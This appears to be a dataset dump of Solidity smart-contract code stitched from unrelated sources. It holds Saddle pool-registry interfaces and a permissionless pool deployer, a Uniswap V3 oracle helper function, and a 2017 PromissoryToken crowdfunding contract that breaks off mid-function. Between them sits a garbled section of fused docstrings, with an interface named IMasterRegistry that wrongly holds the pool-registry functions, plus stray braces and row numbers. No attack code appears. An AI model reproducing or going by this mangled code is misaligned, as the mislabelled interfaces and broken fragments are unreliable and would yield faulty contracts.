// File contracts/interfaces/IMetaSwapDeposit.sol
pragma solidity 0.6.12;
interface IMetaSwapDeposit {
function initialize(
ISwap _baseSwap,
IMetaSwap _metaSwap,
IERC20 _metaLPToken
) external;
}
// File contracts/interfaces/IPoolRegistry.sol
pragma solidity ^0.6.0;
interface IPoolRegistry {
/* Structs */
struct PoolInputData {
address poolAddress;
uint8 typeOfAsset;
bytes32 poolName;
address targetAddress;
address metaSwapDepositAddress;
bool isSaddleApproved;
bool isRemoved;
bool isGuarded;
}
struct PoolData {
address poolAddress;
address lpToken;
uint8 typeOfAsset;
bytes32 poolName;
address targetAddress;
IERC20[] tokens;
IERC20[] underlyingTokens;
address basePoolAddress;
address metaSwapDepositAddress;
bool isSaddleApproved;
bool isRemoved;
bool isGuarded;
}
struct SwapStorageData {
uint256 initialA;
uint256 futureA;
uint256 initialATime;
uint256 futureATime;
uint256 swapFee;
uint256 adminFee;
address lpToken;
}
/* Public Variables */
/**
* @notice Returns the index + 1 of the pool address in the registry
* @param poolAddress address to look for
*/
function poolsIndexOfPlusOne(address poolAddress)
external
returns (uint256);
/**
* @notice Returns the index + 1 of the pool name in the registry
* @param poolName pool name in bytes32 format to look for
*/
function poolsIndexOfNamePlusOne(bytes32 poolName)
external
returns (uint256);
/* Functions */
/**
* @notice Add a new pool to the registry
* @param inputData PoolInputData struct for the new pool
* @dev Before adding a meta pool, the user must first add the underlying base pool.
* Only Swap and MetaSwap contracts need to be added.
*/
function addPool(PoolInputData memory inputData) external payable;
/**
* @notice Add a new pool to the registry
* @param data PoolInputData struct for the new pool
* @dev Before adding a meta pool, the user must first add the underlying base pool.
* Only Swap and MetaSwap contracts need to be added.
*/
function addCommunityPool(PoolData memory data) external payable;
/**
* @notice Approve community deployed pools to be upgraded as Saddle owned
* @dev since array entries are difficult to remove, we modify the entry to mark it
* as a Saddle owned pool.
* @param poolAddress address of the community pool
*/
function approvePool(address poolAddress) external payable;
/**
* @notice Overwrite existing entry with new PoolData
* @param poolData new PoolData struct to store
*/
function updatePool(PoolData memory poolData) external payable;
/**
* @notice Remove pool from the registry
* @dev Since arrays are not easily reducable, the entry will be marked as removed.
* @param poolAddress address of the pool to remove
*/
function removePool(address poolAddress) external payable;
/**
* @notice Returns PoolData for given pool address
* @param poolAddress address of the pool to read
*/
function getPoolData(address poolAddress)
external
view
returns (PoolData memory);
/**
* @notice Returns PoolData at given index
* @param index index of the pool to read
*/
function getPoolDataAtIndex(uint256 index)
external
view
returns (PoolData memory);
/**
* @notice Returns PoolData with given name
* @param poolName name of the pool to read
*/
function getPoolDataByName(bytes32 poolName)
external
view
returns (PoolData memory);
/**
* @notice Returns virtual price of the given pool address
* @param poolAddress address of the pool to read
*/
function getVirtualPrice(address poolAddress)
external
view
returns (uint256);
/**
* @notice Returns A of the given pool address
* @param poolAddress address of the pool to read
*/
function getA(address poolAddress) external view returns (uint256);
/**
* @notice Returns the paused status of the given pool address
* @param poolAddress address of the pool to read
*/
function getPaused(address poolAddress) external view returns (bool);
/**
* @notice Returns the SwapStorage struct of the given pool address
* @param poolAddress address of the pool to read
*/
function getSwapStorage(address poolAddress)
external
view
returns (SwapStorageData memory swapStorageData);
/**
* @notice Returns the tokens of the given pool address
* @param poolAddress address of the pool to read
*/
function getTokens(address poolAddress)
external
view
returns (IERC20[] memory);
/**
* @notice Returns the underlying tokens of the given pool address. Base pools will return an empty array.
* @param poolAddress address of the pool to read
*/
function getUnderlyingTokens(address poolAddress)
external
view
returns (IERC20[] memory);
/**
* @notice Returns number of entries in the registry. Includes removed pools
* in the list as well.
*/
function getPoolsLength() external view returns (uint256);
/**
* @notice Returns an array of pool addresses that can swap between from and to
* @param from address of the token to swap from
* @param to address of the token to swap to
* @return eligiblePools array of pool addresses that can swap between from and to
*/
function getEligiblePools(address from, address to)
external
view
returns (address[] memory eligiblePools);
/**
* @notice Returns an array of balances of the tokens
* @param poolAddress address of the pool to look up the token balances for
* @return balances array of token balances
*/
function getTokenBalances(address poolAddress)
external
view
returns (uint256[] memory balances);
/**
* @notice Returns an array of balances of the tokens
* @param poolAddress address of the pool to look up the token balances for
* @return balances array of token balances
*/
function getUnderlyingTokenBalances(address poolAddress)
external
view
returns (uint256[] memory balances);
}
// File contracts/interfaces/IMasterRegistry.sol
pragma solidity ^0.6.0;
interface IMasterRegistry {
/* Structs */
struct ReverseRegistryData {
bytes32 name;
uint256 version;
}
/* Functions */
/**
* @notice Add a new registry entry to the master list.
* @param registryName name for the registry
* @param registryAddress address of the new registry
*/
function addRegistry(bytes32 registryName, address registryAddress)
external
payable;
/**
* @notice Resolves a name to the latest registry address. Reverts if no match is found.
* @param name name for the registry
* @return address address of the latest registry with the matching name
*/
function resolveNameToLatestAddress(bytes32 name)
external
view
returns (address);
/**
* @notice Resolves a name and version to an address. Reverts if there is no registry with given name and version.
* @param name address of the registry you want to resolve to
* @param version version of the registry you want to resolve to
*/
function resolveNameAndVersionToAddress(bytes32 name, uint256 version)
external
view
returns (address);
/**
* @notice Resolves a name to an array of all addresses. Reverts if no match is found.
* @param name name for the registry
* @return address address of the latest registry with the matching name
*/
function resolveNameToAllAddresses(bytes32 name)
external
view
returns (address[] memory);
/**
* @notice Resolves an address to registry entry data.
* @param registryAddress address of a registry you want to resolve
* @return name name of the resolved registry
* @return version version of the resolved registry
* @return isLatest boolean flag of whether the given address is the latest version of the given registries with
* matching name
*/
function resolveAddressToRegistryData(address registryAddress)
external
view
returns (
bytes32 name,
uint256 version,
bool isLatest
);
}
// File contracts/permissionless/PermissionlessDeployer.sol
pragma solidity 0.6.12;
/**
* @title PermissionlessDeployer
* @notice Allows for anyone to indepentantly deploy pools and meta pools of given tokens. A user will set
* custom parameters for the pool such as the trading/admin fees, as well as the a-parameter.
*
* Ownership of the pools are given to the deploying address. Saddle will collect 50% of the trading fees earned
* by the pool.
*/
contract PermissionlessDeployer is AccessControl {
IMasterRegistry public immutable MASTER_REGISTRY;
bytes32 public constant POOL_REGISTRY_NAME =
0x506f6f6c52656769737472790000000000000000000000000000000000000000;
/// @notice Role responsible for managing target addresses
bytes32 public constant SADDLE_MANAGER_ROLE =
keccak256("SADDLE_MANAGER_ROLE");
address public targetLPToken;
address public targetSwap;
address public targetMetaSwap;
address public targetMetaSwapDeposit;
string public constant LP_TOKEN_NAME0 = "Saddle ";
string public constant LP_TOKEN_NAME1 = " LP Token";
IPoolRegistry public poolRegistryCached;
/**
* @notice Emmited when a new pool is deployed
* @param deployer address of the deployer
* @param swapAddress address of the deployed pool
* @param pooledTokens, array of addresses of the tokens in the pool
*/
event NewSwapPool(
address indexed deployer,
address swapAddress,
IERC20[] pooledTokens
);
event NewClone(address indexed target, address cloneAddress);
/**
* @notice Emmited when the pool registry cache is updated
* @param poolRegistry address of the current Saddle Pool Registry
*/
event PoolRegistryUpdated(address indexed poolRegistry);
event TargetLPTokenUpdated(address indexed target);
event TargetSwapUpdated(address indexed target);
event TargetMetaSwapUpdated(address indexed target);
event TargetMetaSwapDepositUpdated(address indexed target);
struct DeploySwapInput {
bytes32 poolName; // name of the pool
IERC20[] tokens; // array of addresses of the tokens in the pool
uint8[] decimals; // array of decimals of the tokens in the pool
string lpTokenSymbol; // symbol of the LPToken
uint256 a; // a-parameter of the pool
uint256 fee; // trading fee of the pool
uint256 adminFee; // admin fee of the pool
address owner; // owner address of the pool
uint8 typeOfAsset; // USD/BTC/ETH/OTHER
}
struct DeployMetaSwapInput {
bytes32 poolName; // name of the pool
IERC20[] tokens; // array of addresses of the tokens in the pool
uint8[] decimals; // array of decimals of the tokens in the pool
string lpTokenSymbol; // symbol of the LPToken
uint256 a; // a-parameter of the pool
uint256 fee; // trading fee of the pool
uint256 adminFee; // admin fee of the pool
address baseSwap; // address of the basepool
address owner; // owner address of the pool
uint8 typeOfAsset; // USD/BTC/ETH/OTHER
}
constructor(
address admin,
address _masterRegistry,
address _targetLPToken,
address _targetSwap,
address _targetMetaSwap,
address _targetMetaSwapDeposit
) public payable {
require(admin != address(0), "admin == 0");
require(_masterRegistry != address(0), "masterRegistry == 0");
_setupRole(DEFAULT_ADMIN_ROLE, admin);
_setupRole(SADDLE_MANAGER_ROLE, msg.sender);
_setTargetLPToken(_targetLPToken);
_setTargetSwap(_targetSwap);
_setTargetMetaSwap(_targetMetaSwap);
_setTargetMetaSwapDeposit(_targetMetaSwapDeposit);
MASTER_REGISTRY = IMasterRegistry(_masterRegistry);
_updatePoolRegistryCache(_masterRegistry);
}
modifier onlyManager() {
require(hasRole(SADDLE_MANAGER_ROLE, msg.sender), "only manager");
_;
}
/**
* @notice Uses openzeppelin's clone mechanism to clone an existing a pool for cheaper deployments.
* @param target the address of the target pool to be cloned
* @return newClone an address of the cloned pool
*/
function clone(address target) public payable returns (address newClone) {
newClone = Clones.clone(target);
emit NewClone(target, newClone);
}
/**
* @notice Deploys a new pool, adds an entry in the Saddle Pool Registry.
* @param input, a struct containing the input parameters for the pool to be deployed,
* must include a unique pool name.
* @return deployedSwap the address of the deployed pool.
*/
function deploySwap(DeploySwapInput memory input)
external
payable
returns (address deployedSwap)
{
require(
poolRegistryCached.poolsIndexOfNamePlusOne(input.poolName) == 0,
"pool name already exists"
);
address swapClone = clone(targetSwap);
ISwap(swapClone).initialize(
input.tokens,
input.decimals,
string(
abi.encodePacked(
LP_TOKEN_NAME0,
input.lpTokenSymbol,
LP_TOKEN_NAME1
)
),
input.lpTokenSymbol,
input.a,
input.fee,
input.adminFee,
targetLPToken
);
Ownable(swapClone).transferOwnership(input.owner);
(, , , , , , address lpToken) = ISwap(swapClone).swapStorage();
IPoolRegistry.PoolData memory poolData = IPoolRegistry.PoolData({
poolAddress: swapClone,
lpToken: lpToken,
typeOfAsset: input.typeOfAsset,
poolName: input.poolName,
targetAddress: targetSwap,
tokens: input.tokens,
underlyingTokens: new IERC20[](0),
basePoolAddress: address(0),
metaSwapDepositAddress: address(0),
isSaddleApproved: false,
isRemoved: false,
isGuarded: false
});
emit NewSwapPool(msg.sender, swapClone, input.tokens);
poolRegistryCached.addCommunityPool(poolData);
return swapClone;
}
/**
* @notice Deploys a new meta pool.
* @param input, a DeployMetaSwapInput struct containing the input parameters for the meta pool.
*/
function deployMetaSwap(DeployMetaSwapInput memory input)
external
payable
returns (address deployedMetaSwap, address deployedMetaSwapDeposit)
{
require(
poolRegistryCached.poolsIndexOfNamePlusOne(input.poolName) == 0,
"pool name already exists"
);
deployedMetaSwap = clone(targetMetaSwap);
IMetaSwap(deployedMetaSwap).initializeMetaSwap(
input.tokens,
input.decimals,
string(
abi.encodePacked(
LP_TOKEN_NAME0,
input.lpTokenSymbol,
LP_TOKEN_NAME1
)
),
input.lpTokenSymbol,
input.a,
input.fee,
input.adminFee,
targetLPToken,
ISwap(input.baseSwap)
);
(, , , , , , address lpToken) = ISwap(deployedMetaSwap).swapStorage();
Ownable(deployedMetaSwap).transferOwnership(input.owner);
deployedMetaSwapDeposit = clone(targetMetaSwapDeposit);
IMetaSwapDeposit(deployedMetaSwapDeposit).initialize(
ISwap(input.baseSwap),
IMetaSwap(deployedMetaSwap),
IERC20(lpToken)
);
IERC20[] memory baseTokens = poolRegistryCached.getTokens(
input.baseSwap
); // revert if baseSwap is not registered
IERC20[] memory underlyingTokens = new IERC20[](
input.tokens.length - 1 + baseTokens.length
);
uint256 metaLPTokenIndex = input.tokens.length - 1;
for (uint256 i = 0; i < metaLPTokenIndex; i++) {
underlyingTokens[i] = input.tokens[i];
}
for (uint256 i = metaLPTokenIndex; i < underlyingTokens.length; i++) {
underlyingTokens[i] = baseTokens[i - metaLPTokenIndex];
}
IPoolRegistry.PoolData memory poolData = IPoolRegistry.PoolData({
poolAddress: deployedMetaSwap,
lpToken: lpToken,
typeOfAsset: input.typeOfAsset,
poolName: input.poolName,
targetAddress: targetSwap,
tokens: input.tokens,
underlyingTokens: underlyingTokens,
basePoolAddress: input.baseSwap,
metaSwapDepositAddress: deployedMetaSwapDeposit,
isSaddleApproved: false,
isRemoved: false,
isGuarded: false
});
emit NewSwapPool(msg.sender, deployedMetaSwap, input.tokens);
emit NewSwapPool(msg.sender, deployedMetaSwapDeposit, underlyingTokens);
poolRegistryCached.addCommunityPool(poolData);
}
/**
* @notice Updates cached address of the pool registry **should be onlymanager?
*/
function updatePoolRegistryCache() external {
_updatePoolRegistryCache(address(MASTER_REGISTRY));
}
function _updatePoolRegistryCache(address masterRegistry) internal {
poolRegistryCached = IPoolRegistry(
IMasterRegistry(masterRegistry).resolveNameToLatestAddress(
POOL_REGISTRY_NAME
)
);
}
function setTargetLPToken(address _targetLPToken)
external
payable
onlyManager
{
_setTargetLPToken(_targetLPToken);
}
function _setTargetLPToken(address _targetLPToken) internal {
require(
address(_targetLPToken) != address(0),
"Target LPToken cannot be 0"
);
targetLPToken = _targetLPToken;
emit TargetLPTokenUpdated(_targetLPToken);
}
function setTargetSwap(address _targetSwap) external payable onlyManager {
_setTargetSwap(_targetSwap);
}
function _setTargetSwap(address _targetSwap) internal {
require(address(_targetSwap) != address(0), "Target Swap cannot be 0");
targetSwap = _targetSwap;
emit TargetSwapUpdated(_targetSwap);
}
function setTargetMetaSwap(address _targetMetaSwap)
public
payable
onlyManager
{
_setTargetMetaSwap(_targetMetaSwap);
}
function _setTargetMetaSwap(address _targetMetaSwap) internal {
require(
address(_targetMetaSwap) != address(0),
"Target MetaSwap cannot be 0"
);
targetMetaSwap = _targetMetaSwap;
emit TargetMetaSwapUpdated(_targetMetaSwap);
}
function setTargetMetaSwapDeposit(address _targetMetaSwapDeposit)
external
payable
onlyManager
{
_setTargetMetaSwapDeposit(_targetMetaSwapDeposit);
}
function _setTargetMetaSwapDeposit(address _targetMetaSwapDeposit)
internal
{
require(
address(_targetMetaSwapDeposit) != address(0),
"Target MetaSwapDeposit cannot be 0"
);
targetMetaSwapDeposit = _targetMetaSwapDeposit;
emit TargetMetaSwapDepositUpdated(_targetMetaSwapDeposit);
}
}
|
* @notice Returns the index + 1 of the pool address in the registry @param poolAddress address to look for/* @notice Returns the index + 1 of the pool name in the registry @param poolName pool name in bytes32 format to look for/ Functions */* @notice Add a new pool to the registry @param inputData PoolInputData struct for the new pool @dev Before adding a meta pool, the user must first add the underlying base pool. Only Swap and MetaSwap contracts need to be added./* @notice Add a new pool to the registry @param data PoolInputData struct for the new pool @dev Before adding a meta pool, the user must first add the underlying base pool. Only Swap and MetaSwap contracts need to be added./* @notice Approve community deployed pools to be upgraded as Saddle owned @dev since array entries are difficult to remove, we modify the entry to mark it as a Saddle owned pool. @param poolAddress address of the community pool/* @notice Overwrite existing entry with new PoolData @param poolData new PoolData struct to store/* @notice Remove pool from the registry @dev Since arrays are not easily reducable, the entry will be marked as removed. @param poolAddress address of the pool to remove/* @notice Returns PoolData for given pool address @param poolAddress address of the pool to read/* @notice Returns PoolData at given index @param index index of the pool to read/* @notice Returns PoolData with given name @param poolName name of the pool to read/* @notice Returns virtual price of the given pool address @param poolAddress address of the pool to read/* @notice Returns A of the given pool address @param poolAddress address of the pool to read/* @notice Returns the paused status of the given pool address @param poolAddress address of the pool to read/* @notice Returns the SwapStorage struct of the given pool address @param poolAddress address of the pool to read/* @notice Returns the tokens of the given pool address @param poolAddress address of the pool to read/* @notice Returns the underlying tokens of the given pool address. Base pools will return an empty array. @param poolAddress address of the pool to read/* @notice Returns number of entries in the registry. Includes removed pools in the list as well./* @notice Returns an array of pool addresses that can swap between from and to @param from address of the token to swap from @param to address of the token to swap to @return eligiblePools array of pool addresses that can swap between from and to/* @notice Returns an array of balances of the tokens @param poolAddress address of the pool to look up the token balances for @return balances array of token balances/* @notice Returns an array of balances of the tokens @param poolAddress address of the pool to look up the token balances for @return balances array of token balances/ File contracts/interfaces/IMasterRegistry.sol
|
interface IMasterRegistry {
function poolsIndexOfPlusOne(address poolAddress)
external
returns (uint256);
function poolsIndexOfNamePlusOne(bytes32 poolName)
external
returns (uint256);
function addPool(PoolInputData memory inputData) external payable;
function addCommunityPool(PoolData memory data) external payable;
function approvePool(address poolAddress) external payable;
function updatePool(PoolData memory poolData) external payable;
function removePool(address poolAddress) external payable;
function getPoolData(address poolAddress)
external
view
returns (PoolData memory);
function getPoolDataAtIndex(uint256 index)
external
view
returns (PoolData memory);
function getPoolDataByName(bytes32 poolName)
external
view
returns (PoolData memory);
function getVirtualPrice(address poolAddress)
external
view
returns (uint256);
function getA(address poolAddress) external view returns (uint256);
function getPaused(address poolAddress) external view returns (bool);
function getSwapStorage(address poolAddress)
external
view
returns (SwapStorageData memory swapStorageData);
function getTokens(address poolAddress)
external
view
returns (IERC20[] memory);
function getUnderlyingTokens(address poolAddress)
external
view
returns (IERC20[] memory);
function getPoolsLength() external view returns (uint256);
function getEligiblePools(address from, address to)
external
view
returns (address[] memory eligiblePools);
function getTokenBalances(address poolAddress)
external
view
returns (uint256[] memory balances);
function getUnderlyingTokenBalances(address poolAddress)
external
view
returns (uint256[] memory balances);
}
pragma solidity ^0.6.0;
struct ReverseRegistryData {
bytes32 name;
uint256 version;
}
}
| 13,694,340
|
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] |
./partial_match/1/0x5AdA07Ff0d2772E202776be8a8EC69ac3345050f/sources/OracleLibrary.sol
|
@notice Given a pool, it returns the tick value as of the start of the current block @param pool Address of Uniswap V3 pool @return The tick that the pool was in at the start of the current block 2 observations are needed to reliably calculate the block starting tick If the latest observation occurred in the past, then no tick-changing trades have happened in this block therefore the tick in `slot0` is the same as at the beginning of the current block. We don't need to check if this observation is initialized - it is guaranteed to be.
|
function getBlockStartingTickAndLiquidity(address pool) internal view returns (int24, uint128) {
unchecked {
(
,
int24 tick,
uint16 observationIndex,
uint16 observationCardinality,
,
,
) = IUniswapV3Pool(pool).slot0();
require(observationCardinality > 1, "NEO");
(
uint32 observationTimestamp,
int56 tickCumulative,
uint160 secondsPerLiquidityCumulativeX128,
) = IUniswapV3Pool(pool).observations(observationIndex);
if (observationTimestamp != uint32(block.timestamp)) {
return (tick, IUniswapV3Pool(pool).liquidity());
}
uint256 prevIndex = (uint256(observationIndex) + observationCardinality - 1) %
observationCardinality;
(
uint32 prevObservationTimestamp,
int56 prevTickCumulative,
uint160 prevSecondsPerLiquidityCumulativeX128,
bool prevInitialized
) = IUniswapV3Pool(pool).observations(prevIndex);
require(prevInitialized, "ONI");
uint32 delta = observationTimestamp - prevObservationTimestamp;
tick = int24((tickCumulative - prevTickCumulative) / int32(delta));
uint128 liquidity = uint128(
(uint192(delta) * type(uint160).max) /
(uint192(
secondsPerLiquidityCumulativeX128 - prevSecondsPerLiquidityCumulativeX128
) << 32)
);
return (tick, liquidity);
}
}
| 3,955,278
|
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//Address: 0x0348b55abd6e1a99c6ebc972a6a4582ec0bceb5c
//Contract name: PromissoryToken
//Balance: 23.298072903130000015 Ether
//Verification Date: 1/24/2017
//Transacion Count: 342
// CODE STARTS HERE
pragma solidity ^0.4.8;
//This contract is backed by the constitution of superDAO deployed at : .
//The constitution of the superDAO is the social contract, terms, founding principles and definitions of the vision,
//mission, anti-missions, rules and operation guidelines of superDAO.
//The total number of 3,000,000 represents 3% of 100,000,000 immutable number of superDAO tokens,
//which is the alloted budget of operation for the earliest funding activities.
//Every prommissory token is exchangeable for the real superDAO tokens on a one on one basis.
//Promissiory contract will be deployed with the actual superDAO token contract.
//Early backers can call the "redeem" function on the actual token contract to exchange promissory tokens for the final tokens.
/**
* @title Promisory Token Contract
* @author ola
* --- Collaborators ---
* @author zlatinov
* @author panos
* @author yemi
* @author archil
* @author anthony
*/
contract PromissoryToken {
event FounderSwitchRequestEvent(address _newFounderAddr);
event FounderSwitchedEvent(address _newFounderAddr);
event CofounderSwitchedEvent(address _newCofounderAddr);
event AddedPrepaidTokensEvent(address backer, uint index, uint price, uint amount);
event PrepaidTokensClaimedEvent(address backer, uint index, uint price, uint amount);
event TokensClaimedEvent(address backer, uint index, uint price, uint amount);
event RedeemEvent(address backer, uint amount);
event WithdrawalCreatedEvent(uint withdrawalId, uint amount, bytes reason);
event WithdrawalVotedEvent(uint withdrawalId, address backer, uint backerStakeWeigth, uint totalStakeWeight);
event WithdrawalApproved(uint withdrawalId, uint stakeWeight, bool isMultiPayment, uint amount, bytes reason);
address founder; //deployer of constitution and PromissoryToken
bytes32 founderHash; // hash must be confirmed in order to replace founder address
mapping(address => bytes32) tempHashes; // structure to contain new address to hash storage,
address cofounder;//helper to aid founder key exchange in case of key loss
address [] public previousFounders; //list of addresses replaced using the switching process.
uint constant discountAmount = 60; //discount amount
uint constant divisor = 100; //divisor to get discount value
uint public constant minimumPrepaidClaimedPercent = 65;
uint public promissoryUnits = 3000000; //amount of tokens contants set
uint public prepaidUnits = 0; //prepaid and set by founder out of 3 million tokens
uint public claimedUnits = 0; //claimed tokens out of 3 million tokens
uint public claimedPrepaidUnits = 0; //claimed tokens out of the early backer's tokens/prepaidUnits
uint public redeemedTokens = 0; //number of tokens out of claimed tokens, redeemed by superDAO token call
uint public lastPrice = 0; //latest price of token acquired by backer in Wei
uint public numOfBackers; //number of early backers
struct backerData {
uint tokenPrice;
uint tokenAmount;
bytes32 privateHash;
bool prepaid;
bool claimed;
uint backerRank;
}
address[] public earlyBackerList; //addresses of earliest backers
address[] public backersAddresses; //addresses of all backers
mapping(address => backerData[]) public backers;// backer address to backer info mapping
mapping(address => bool) public backersRedeemed;
struct withdrawalData {
uint Amount;
bool approved;
bool spent;
bytes reason;
address[] backerApprovals;
uint totalStake;
address[] destination;
}
withdrawalData[] public withdrawals; // Data structure specifying withdrawal
mapping(address => mapping(uint => bool)) public withdrawalsVotes;
/**
* @notice Deploy PromissoryToken contract with `msg.sender.address()` as founder with `_prepaidBackers.number()` prepaid backers
* @dev This is the constructor of the promisory token contract
* @param _founderHash Founders password hash, preferable a message digest to further obfuscate duplicaion
* @param _cofounderAddress The helper cofounder to aid founder key exchange in case of key loss/
* @param _numOfBackers The number of Early backers. Will be used to control setting early backers
*/
function PromissoryToken( bytes32 _founderHash, address _cofounderAddress, uint _numOfBackers){
founder = msg.sender;
founderHash = sha3(_founderHash);
cofounder = _cofounderAddress;
numOfBackers = _numOfBackers;
}
/**
* @notice `msg.sender.address()` updating cofounder address to `_newFounderAddr.address()`
* @dev allows cofounder to switch out addres for a new one.Can be repeated as many times as needed
* @param _newCofounderAddr New Address of Cofounder
* @return True if the coFounder address successfully updated
*/
function cofounderSwitchAddress(address _newCofounderAddr) external returns (bool success){
if (msg.sender != cofounder) throw;
cofounder = _newCofounderAddr;
CofounderSwitchedEvent(_newCofounderAddr);
return true;
}
/**
* @notice Founder address update to `_newFounderAddr.address()` is being requested
* @dev founderSwitchAddress founder indicates intent to switch addresses with new address,
* hash of pass phrase and a "onetime shared phrase shared with coufounder"
* @param _founderHash Secret Key to be used to confirm Address update
* @param _oneTimesharedPhrase Shared pre-hashed Secret key for offline trust to be shared with coFounder to approve Address update
* @return True if Address switch request successfully created and Temporary hash Values set
*/
function founderSwitchRequest(bytes32 _founderHash, bytes32 _oneTimesharedPhrase) returns (bool success){
if(sha3(_founderHash) != founderHash) throw;
tempHashes[msg.sender] = sha3(msg.sender, founderHash, _oneTimesharedPhrase);
FounderSwitchRequestEvent(msg.sender);
return true;
}
/**
* @notice `msg.sender.address()` approving `_newFounderAddr.address()` as new founder address
* @dev CofounderSwitchAddress which allows previously set cofounder to approve address
* switch by founder. Must have a one time shared phrase thats is shared with founder that corresponding with a
* hashed value.
* @param _newFounderAddr The address of Founder to be newly set
* @param _oneTimesharedPhrase Shared pre-hashed Secret key for offline trust, to provide access to the approval function
* @return True if new Founder address successfully approved
*/
function cofounderApproveSwitchRequest(address _newFounderAddr, bytes32 _oneTimesharedPhrase) external returns (bool success){
if(msg.sender != cofounder || sha3(_newFounderAddr, founderHash, _oneTimesharedPhrase) != tempHashes[_newFounderAddr]) throw;
previousFounders.push(founder);
founder = _newFounderAddr;
FounderSwitchedEvent(_newFounderAddr);
return true;
}
/**
* @notice Adding `_backer.address()` as an early backer
* @dev Add Early backers to Contract setting the transacton details
* @param _backer The address of the superDAO backer
* @param _tokenPrice The price/rate at which the superDAO tokens were bought
* @param _tokenAmount The total number of superDAO token purcgased at the indicated rate
* @param _privatePhrase Shared pre-hashed Secret key for offline price negotiation to online attestation of SuperDAO tokens ownership
* @param _backerRank Rank of the backer in the backers list
* @return Thre index of _backer in the backers list
*/
function setPrepaid(address _backer, uint _tokenPrice, uint _tokenAmount, string _privatePhrase, uint _backerRank)
external
founderCall
returns (uint)
{
if (_tokenPrice == 0 || _tokenAmount == 0 || claimedPrepaidUnits>0 ||
_tokenAmount + prepaidUnits + claimedUnits > promissoryUnits) throw;
if (earlyBackerList.length == numOfBackers && backers[_backer].length == 0) throw ;
if (backers[_backer].length == 0) {
earlyBackerList.push(_backer);
backersAddresses.push(_backer);
}
backers[_backer].push(backerData(_tokenPrice, _tokenAmount, sha3(_privatePhrase, _backer), true, false, _backerRank));
prepaidUnits +=_tokenAmount;
lastPrice = _tokenPrice;
AddedPrepaidTokensEvent(_backer, backers[_backer].length - 1, _tokenPrice, _tokenAmount);
return backers[_backer].length - 1;
}
/**
* @notice Claiming `_tokenAmount.number()` superDAO tokens by `msg.sender.address()`
* @dev Claim superDAO Early backer tokens
* @param _index index of tokens to claim
* @param _boughtTokensPrice Price at which the superDAO tokens were bought
* @param _tokenAmount Number of superDAO tokens to be claimed
* @param _privatePhrase Shared pre-hashed Secret key for offline price negotiation to online attestation of SuperDAO tokens ownership
* @param _backerRank Backer rank of the backer in the superDAO
*/
function claimPrepaid(uint _index, uint _boughtTokensPrice, uint _tokenAmount, string _privatePhrase, uint _backerRank)
external
EarliestBackersSet
{
if(backers[msg.sender][_index].prepaid == true &&
backers[msg.sender][_index].claimed == false &&
backers[msg.sender][_index].tokenAmount == _tokenAmount &&
backers[msg.sender][_index].tokenPrice == _boughtTokensPrice &&
backers[msg.sender][_index].privateHash == sha3( _privatePhrase, msg.sender) &&
backers[msg.sender][_index].backerRank == _backerRank)
{
backers[msg.sender][_index].claimed = true;
claimedPrepaidUnits += _tokenAmount;
PrepaidTokensClaimedEvent(msg.sender, _index, _boughtTokensPrice, _tokenAmount);
} else {
throw;
}
}
/**
* @notice `msg.sender.address()` is Purchasing `(msg.value / lastPrice).toFixed(0)` superDAO Tokens at `lastPrice`
* @dev Purchase new superDAO Tokens if the amount of tokens are still available for purchase
*/
function claim()
payable
external
MinimumBackersClaimed
{
if (lastPrice == 0) throw;
//don`t accept transactions with zero value
if (msg.value == 0) throw;
//Effective discount for Pre-crowdfunding backers of 40% Leaving effective rate of 60%
uint discountPrice = lastPrice * discountAmount / divisor;
uint tokenAmount = (msg.value / discountPrice);//Effect the discount rate 0f 40%
if (tokenAmount + claimedUnits + prepaidUnits > promissoryUnits) throw;
if (backers[msg.sender].length == 0) {
backersAddresses.push(msg.sender);
}
backers[msg.sender].push(backerData(discountPrice, tokenAmount, sha3(msg.sender), false, true, 0));
claimedUnits += tokenAmount;
TokensClaimedEvent(msg.sender, backers[msg.sender].length - 1, discountPrice, tokenAmount);
}
/**
* @notice checking `_backerAddress.address()` superDAO Token balance: `index`
* @dev Check Token balance by index of backer, return values can be used to instantiate a backerData struct
* @param _backerAddress The Backer's address
* @param index The balance to check
* @return tokenPrice The Price at which the tokens were bought
* @return tokenAmount The number of tokens that were bought
* @return Shared pre-hashed Secret key for offline price negotiation
* @return prepaid True if backer is an early backer
* @return claimed True if the Token has already been claimed by the backer
*/
function checkBalance(address _backerAddress, uint index) constant returns (uint, uint, bytes32, bool, bool){
return (
backers[_backerAddress][index].tokenPrice,
backers[_backerAddress][index].tokenAmount,
backers[_backerAddress][index].privateHash,
backers[_backerAddress][index].prepaid,
backers[_backerAddress][index].claimed
);
}
/**
* @notice Approving withdrawal `_withdrawalID`
* @dev Approve a withdrawal from the superDAO and mark the withdrawal as spent
* @param _withdrawalID The ID of the withdrawal
*/
function approveWithdraw(uint _withdrawalID)
external
backerCheck(_withdrawalID)
{
withdrawalsVotes[msg.sender][_withdrawalID] = true;
uint backerStake = 0;
for (uint i = 0; i < backers[msg.sender].length; i++) {
backerStake += backers[msg.sender][i].tokenAmount;
}
withdrawals[_withdrawalID].backerApprovals.push(msg.sender);
withdrawals[_withdrawalID].totalStake += backerStake;
WithdrawalVotedEvent(_withdrawalID, msg.sender, backerStake, withdrawals[_withdrawalID].totalStake);
if(withdrawals[_withdrawalID].totalStake >= (claimedPrepaidUnits + claimedUnits) / 3) {
uint amountPerAddr;
bool isMultiPayment = withdrawals[_withdrawalID].destination.length > 1;
if(isMultiPayment == false){
amountPerAddr = withdrawals[_withdrawalID].Amount;
}
else {
amountPerAddr = withdrawals[_withdrawalID].Amount / withdrawals[_withdrawalID].destination.length;
}
withdrawals[_withdrawalID].approved = true;
withdrawals[_withdrawalID].spent = true;
for(i = 0; i < withdrawals[_withdrawalID].destination.length; i++){
if(!withdrawals[_withdrawalID].destination[i].send(amountPerAddr)) throw;
}
WithdrawalApproved(_withdrawalID,
withdrawals[_withdrawalID].totalStake,
isMultiPayment,
withdrawals[_withdrawalID].Amount,
withdrawals[_withdrawalID].reason);
}
}
/**
* @notice Requestng withdrawal of `_totalAmount` to `_destination.address()`
* @dev Create a new withdrawal request
* @param _totalAmount The total amount of tokens to be withdrawan, should be equal to the total number of owned tokens
* @param _reason Reason/Description for the withdrawal
* @param _destination The receiving address
*/
function withdraw(uint _totalAmount, bytes _reason, address[] _destination)
external
founderCall
{
if (this.balance < _totalAmount) throw;
uint withdrawalID = withdrawals.length++;
withdrawals[withdrawalID].Amount = _totalAmount;
withdrawals[withdrawalID].reason = _reason;
withdrawals[withdrawalID].destination = _destination;
withdrawals[withdrawalID].approved = false;
withdrawals[withdrawalID].spent = false;
